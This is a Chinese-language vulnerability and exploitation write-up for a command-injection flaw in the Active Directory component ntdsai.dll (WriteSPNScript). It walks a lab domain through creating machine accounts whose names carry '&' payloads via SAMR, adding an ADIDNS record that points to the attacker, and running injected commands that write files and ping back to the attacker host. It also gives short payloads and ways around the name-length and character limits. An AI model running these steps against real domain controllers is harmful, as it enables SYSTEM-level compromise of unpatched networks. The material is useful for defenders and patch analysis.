
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77(命令注入) |
| 受影响组件 | ntdsai.dll — WriteSPNScript 函数 |
| 受影响系统 | Windows Server 2016、2019、2022、2025(未打补丁) |
| 攻击向量 | 已认证的域用户(任意) |
| 影响 | 在域控制器上以 SYSTEM 权限远程执行代码 |
| 发布日期 | 2026 年 8 月 |
ntdsai.dll 中的 WriteSPNScript 函数在 Active Directory 维护操作期间为 SPN(服务主体名称)修复生成批处理脚本命令。该函数使用格式字符串构造 repadmin.exe /writespn 命令,但未能对可分辨名称(DN)参数进行清理,从而允许通过 & 字符(cmd.exe 命令分隔符)进行命令注入。
存在漏洞的格式字符串:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
参数:SystemDir、WriteOp(ADD/DELETE)、DN、SPN_value
DN 派生自机器账户的通用名称(CN),该名称在账户创建时设置。当创建机器账户时,如果其名称中包含 shell 元字符,这些字符会未经转义地流入生成的脚本。当 cmd.exe 执行该脚本时,& 充当命令分隔符,从而以 SYSTEM 权限执行攻击者控制的命令。
Active Directory 有两种用于管理机器账户的主要协议:
| 协议 | 字符验证 | Shell 元字符 |
|---|---|---|
| LDAP(SPN 值) | 严格 — CONSTRAINT_ATT_TYPE 拒绝 & ; | ' \ $ ( )` | 阻止 |
| SAMR(机器名称) | 宽松 — 验证基本账户名称格式 | 允许:& ' \ $ ( ) ! space` |
这种验证不对称是根本原因:
sAMAccountName 中的 shell 元字符,该名称成为 CN 并流入 DNWriteSPNScript在未修补的二进制文件中,地址 0x1802a98a0 处:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA 将 DN 直接格式化到输出缓冲区中。没有转义、没有引号、没有净化处理。
对于 CN=A&ping attacker&B 的机器:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe 将其解释为五条独立的语句:
| # | 语句 | 结果 |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | 失败(DN 被截断) |
| 2 | ping attacker | 已注入 — 以 SYSTEM 身份执行 |
| 3 | B,CN=Computers,DC=... HOST/A | 失败(不是有效命令) |
| 4 | ping attacker | 已注入 — 再次执行(来自 SPN 参数) |
| 5 | B | 失败(不是有效命令) |
注入的命令出现了两次 — 一次来自 DN 参数,一次来自 SPN 参数(该参数也包含机器名)。
修补后的 WriteSPNScript(大小:1477 → 2005 字节)做了三处更改:
两个新的清理函数应用于 DN 和 SPN 两个参数:
EscapeForPowerShellSingleQuote() — 转义 ' 以防止从单引号字符串中逃逸EscapeForNativeArgvBackslashesBeforeDoubleQuote() — 为原生 argv 解析转义 " 之前的 \ 序列| 基础版本(存在漏洞) | 修补后 | |
|---|---|---|
| 函数 | StringCchPrintfA(ANSI) | StringCchPrintfW(宽字符/Unicode) |
| 引号处理 | 无 | 单引号包裹参数 |
| 输出 | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
较早的修订版本有一个功能标志 Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled 来控制该修复。在最终补丁中,该标志被移除 — 修复始终生效且无法禁用。
| 主机 | 角色 | IP | 操作系统 |
|---|---|---|---|
| WINTERFELL | 域控制器 | 192.168.56.11 | Windows Server 2019 |
| 攻击机 | Kali Linux | 192.168.14.238 | Kali 2026 |
| 域 | north.sevenkingdoms.local | ||
| 低权限用户 | samwell.tarly / Heartsbane | 普通域用户 | |
| 管理员用户 | robb.stark / sexywolfy | 域管理员 |
使用 spn_probe3.py,测试了 SAMR 在机器账户名中接受哪些字符,以及 LDAP 在 SPN 值中接受哪些字符:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
关键发现:SAMR 允许所有 8 个测试过的 shell 元字符。LDAP 会阻止所有这些字符。注入向量是通过 SAMR 创建的机器名,而不是通过 SPN 值。
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
同样创建为 samwell.tarly:
[+] Created C&ping a&D$, RID: 1138
已确认:普通域用户(PR:L)可以在名称中使用 & 命令注入来创建机器账户。
普通域用户可以添加 ADIDNS 记录。使用 dnstool.py 创建一个指向攻击者的短主机名:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
在 DC 上验证解析:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
模拟 WriteSPNScript 在 DC 上执行时会生成的精确输出:
文件写入证明:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
ICMP 回调验证:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
攻击者 tcpdump 确认 ICMP 到达:
02:36:10.815690 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12
文件写入和 ICMP 回调均确认了通过 DN 实现的命令注入。
| 步骤 | 操作 | 执行者 | 结果 |
|---|---|---|---|
| 1 | SAMR 接受机器名中的 & | samwell.tarly (PR:L) | RID 1125、1137、1138 |
| 2 | LDAP 拒绝 SPN 值中的 & | samwell.tarly | 100% 拒绝 |
| 3 | 为回调创建 DNS 记录 | samwell.tarly (PR:L) | a → 192.168.14.238 |
| 4 | 创建带注入 CN 的机器账户 | samwell.tarly (PR:L) | A&echo POC&B$、C&ping a&D$ |
| 5 | 通过 cmd 注入实现文件写入 | DC(模拟 WriteSPNScript) | proof.txt = "INJECTED" |
| 6 | 通过 cmd 注入实现 ICMP 回调 | DC(模拟 WriteSPNScript) | 收到 3 次 ping |
机器账户的 sAMAccountName 在末尾 $ 之前限制为约 15 个字符(NetBIOS 兼容性约束)。这严重限制了载荷的复杂度。
影响:无法直接在机器名中嵌入 IP 地址、长命令或复杂载荷。
变通方法:使用短 DNS 主机名进行回调(例如,单字符 a 解析到攻击者 IP)。载荷必须简短:
A&ping a&B(11 个字符)— ICMP 回调A&echo X&B(11 个字符)— 执行证明A&calc&B(8 个字符)— DC 上的 GUI 证明A&whoami&B(11 个字符)— 上下文确认虽然 SAMR 接受 shell 元字符(& ' \ $ ( ) ! space`),但它拒绝文件路径和网络地址所需的字符:
| 被拒绝 | 被阻止的用途 |
|---|---|
.(句点) | IP 地址(192.168.1.1)、FQDN |
\(反斜杠) | Windows 路径(C:\Windows\...) |
/(正斜杠) | URL 路径、Unix 路径 |
:(冒号) | 驱动器号(C:)、端口号 |
"(双引号) | 载荷中的引号/转义 |
< > | ; , = + * ? | 重定向、管道、通配符 |
影响:无法在载荷中直接使用 IP 地址、文件路径或 URL。
变通方法:
%TEMP%、%SYSTEMROOT%)— 不过 % 是否被接受尚未确认